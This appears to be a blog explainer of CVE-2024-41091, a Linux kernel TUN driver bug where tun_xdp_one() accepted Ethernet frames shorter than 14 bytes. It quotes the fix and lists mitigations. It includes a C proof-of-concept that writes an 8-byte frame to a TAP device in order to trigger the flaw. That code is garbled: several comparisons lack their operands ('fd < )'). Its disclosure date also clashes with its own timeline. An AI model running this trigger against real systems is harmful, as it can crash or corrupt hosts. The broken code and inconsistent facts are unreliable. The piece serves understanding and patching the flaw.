CVE-2024-41091 - TUN Driver Short Frame Vulnerability in Linux Kernel Explained

On June 13, 2024, a new Linux kernel vulnerability (CVE-2024-41091) was publicly identified and resolved. The issue affects the TUN driver, specifically concerning improper verification of Ethernet frame lengths in one of its codepaths (tun_xdp_one()), potentially allowing malicious or malformed packets to corrupt network stack behavior or even cause out-of-bounds memory access. In this post, we’ll break down what happened, show you the relevant code, discuss why it matters, and walk you through how someone might exploit it.

What is the TUN Driver?

The TUN/TAP driver in Linux enables virtual network device creation by userspace programs. It’s frequently used for VPNs, network emulators, and testing tools because it gives user-level programs direct packet reads/writes—making security crucial.

What’s the Bug?

The kernel’s tun_xdp_one() codepath *did not check* if incoming frames were at least as big as ETH_HLEN (the minimum Ethernet header length, 14 bytes). That means a frame smaller than 14 bytes could be processed and passed to functions expecting at least that much data, leading to:

Network stack confusion or crash

The bug was resolved by adding a check to drop short frames in this path, like was already done in another function (tun_get_user()).

The Patch

The relevant fix is commit 77eee2bbf4:

// net/tun.c

if (unlikely(len < ETH_HLEN)) {
    if (net_ratelimit())
        netdev_warn(tun->dev, "drop short frame %d\n", len);
    return -EINVAL;
}

Now, packets shorter than 14 bytes are dropped and never make it to the network stack.

Original References

- Upstream Fix Commit
- CVE-2024-41091 NVD Entry
- Linux Kernel Mailing List Discussion

Attacker must be able to write to the TUN device

- Needs CAP_NET_ADMIN or access to /dev/net/tun (often available in containers or cloud/pod environments)

Here’s how an attacker might try to trigger the bug on a vulnerable system

#include <stdio.h>
#include <fcntl.h>
#include <linux/if_tun.h>
#include <linux/if.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>

int main() {
    int fd = open("/dev/net/tun", O_RDWR);
    if (fd < ) { perror("open"); return 1; }

    struct ifreq ifr = {};
    strcpy(ifr.ifr_name, "tap");
    ifr.ifr_flags = IFF_TAP | IFF_NO_PI;

    if (ioctl(fd, TUNSETIFF, &ifr) < ) {
        perror("ioctl");
        return 1;
    }

    // Maliciously short frame (< 14 bytes)
    char short_frame[8] = {};
    write(fd, short_frame, sizeof(short_frame));

    close(fd);
}

What happens?

- On an *unpatched* kernel, this frame gets through. Dangerous code tries to treat 8 bytes as a full Ethernet header.

Anyone running Linux with the vulnerable kernel (before June 2024 patch)

- Especially container runtimes, cloud platforms, or network appliances giving users TUN/TAP access

## How to Fix / Mitigate

- Update your kernel! Any version with or after the relevant commit
- *Silo* container or user access to /dev/net/tun (don’t give it to untrusted users)

Conclusion

CVE-2024-41091 is a great example of how even small mistakes in input validation can have security consequences in kernel code. By failing to check packet lengths, it opened up risk for DoS, info leaks, or memory corruption. The lesson: always verify user-provided data, especially in privileged kernel paths.

Timeline

Published on: 07/29/2024 07:15:07 UTC
Last modified on: 05/04/2025 09:21:53 UTC